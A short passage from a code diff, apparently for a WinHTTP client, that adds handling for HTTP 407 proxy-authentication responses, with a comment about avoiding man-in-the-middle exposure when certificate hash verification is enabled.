However, we won't do this in the case where cert hash verification is turned on, + // because we don't want to expose people to MITM if they've explicitly asked us not + // to. + if (ctx->cert_hash == NULL && statusCode == 407) { return ERROR_WINHTTP_CANNOT_CONNECT; }